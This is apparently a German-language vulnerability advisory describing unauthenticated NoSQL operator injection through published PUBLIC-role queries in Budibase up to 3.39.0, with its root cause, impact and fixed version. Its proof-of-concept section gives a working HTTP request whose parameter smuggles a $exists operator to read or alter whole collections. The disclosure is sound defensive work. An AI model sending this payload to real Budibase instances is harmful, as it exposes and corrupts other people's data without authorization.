Budibase: Anonyme NoSQL-Operator-Injection über veröffentlichte App-Abfragen
Nicht authentifizierte Angreifer können über veröffentlichte Abfragen mit der Rolle PUBLIC NoSQL-Operatoren in Nicht-SQL-Datenquellen einschleusen und sämtliche Dokumente der hinterlegten Sammlungen lesen sowie verändern.
Advisory-ID: TP-2026-012
Produkt: Budibase (Open-Source-Low-Code-Plattform zum Erstellen interner Tools und Web-Apps auf Basis eigener Datenquellen)
Schwachstellentyp: NoSQL-Operator-Injection (CWE-943, CWE-89)
CVE: pending
CVSS 3.1: 10.0 (Kritisch) · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
Betroffene Versionen: <= 3.39.0
Behoben in: 3.39.12
Hersteller-Advisory: GHSA-8qv3-p479-cj62
Gemeldet: 20. Mai 2026
Zusammenfassung
Budibase ist eine Open-Source-Low-Code-Plattform zum Erstellen interner Tools und Anwendungen auf Basis eigener Datenquellen. Veröffentlichte Apps können Abfragen mit der Rolle PUBLIC bereitstellen, die ohne Anmeldung und ohne CSRF-Token aufgerufen werden. Bei Nicht-SQL-Datenquellen (MongoDB, CouchDB, Elasticsearch, DynamoDB-PartiQL sowie REST mit JSON-Body) setzt die Funktion enrichContext die vom Aufrufer übergebenen Parameter direkt in den rohen JSON-Text der Abfrage ein, ohne JSON-Metazeichen zu maskieren. Anschließend wird das Ergebnis per JSON.parse ausgewertet, sodass ein Angreifer schließende Anführungszeichen und zusätzliche Schlüssel einschleusen und den vom Builder vorgesehenen Filter durch eigene Operatoren ersetzen kann. Im Ergebnis liest und verändert ein nicht authentifizierter Angreifer sämtliche Dokumente der hinterlegten Sammlungen. turingpoint hat den Ablauf verifiziert und verantwortungsvoll an den Hersteller gemeldet.
Ursache
Die Parameter-Substitution in Abfrage-Templates erfolgt für Nicht-SQL-Datenquellen als reine Textersetzung im JSON-Rohtext der Abfrage. enrichContext schreibt die Parameterwerte unverändert in den Body und maskiert dabei keine JSON-Metazeichen wie Anführungszeichen oder geschweifte Klammern. Die vorhandene Parameter-Prüfung weist lediglich Handlebars-Marker zurück, nicht jedoch JSON-Syntax. Nach der Substitution wird der Body per JSON.parse zu einem Objekt ausgewertet und etwa bei MongoDB direkt an collection.find() und collection.updateMany() übergeben, sodass eingeschleuste Operatoren wie $exists den vorgesehenen Filter überschreiben. Da veröffentlichte Abfragen mit der Rolle PUBLIC die Authentifizierung und den CSRF-Schutz umgehen, genügt eine einzelne unauthentifizierte HTTP-Anfrage.
Proof of Concept
Voraussetzung ist eine veröffentlichte Budibase-App mit mindestens einer Nicht-SQL-Abfrage in der Rolle PUBLIC:
# Veroeffentlichte Nicht-SQL-Abfrage (PUBLIC-Rolle), Template-Body etwa:
# { "name": "{{ name }}" }
# Angreifer-Request, keine Anmeldung, kein CSRF-Token:
POST /api/v2/queries/<queryId>
x-budibase-app-id: <published-app-id>
Content-Type: application/json
{"parameters":{"name":"x\",\"name\":{\"$exists\":true},\"$comment\":\"audit"}}
# Nach der Substitution ergibt sich der Filter:
# { "name": "x", "name": { "$exists": true }, "$comment": "audit" }
# -> der vorgesehene name-Filter wird durch { "$exists": true } ersetzt
# und liefert bzw. aendert saemtliche Dokumente der Sammlung.
Da der Parameterwert ungefiltert in den JSON-Body geschrieben und anschließend geparst wird, ersetzt das eingeschleuste { "$exists": true } den vorgesehenen Filter und gibt alle Dokumente zurück. Gegen eine update-Abfrage angewandt, meldet die Antwort entsprechend matchedCount und modifiedCount für die gesamte Sammlung.
Auswirkung
- Unauthentifizierter Lesezugriff auf alle Dokumente der angebundenen Sammlungen, einschließlich sensibler Felder, die nicht für die Veröffentlichung vorgesehen sind.
- Unauthentifizierte Schreib-, Lösch- und Aggregationsoperationen über veröffentlichte
update-,delete- oderaggregate-Abfragen mitPUBLIC-Rolle. - Vollständiger Verlust von Vertraulichkeit und Integrität der Datenbestände hinter Nicht-SQL-Datenquellen, ohne Anmeldung, CSRF-Token oder Benutzerinteraktion.
- SQL-Datenquellen (PostgreSQL, MySQL, MSSQL, Oracle, MariaDB) sind nicht betroffen, da sie parametrisierte Abfragen verwenden.
Referenzen
Steckt so etwas in Ihrer Software?
Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.
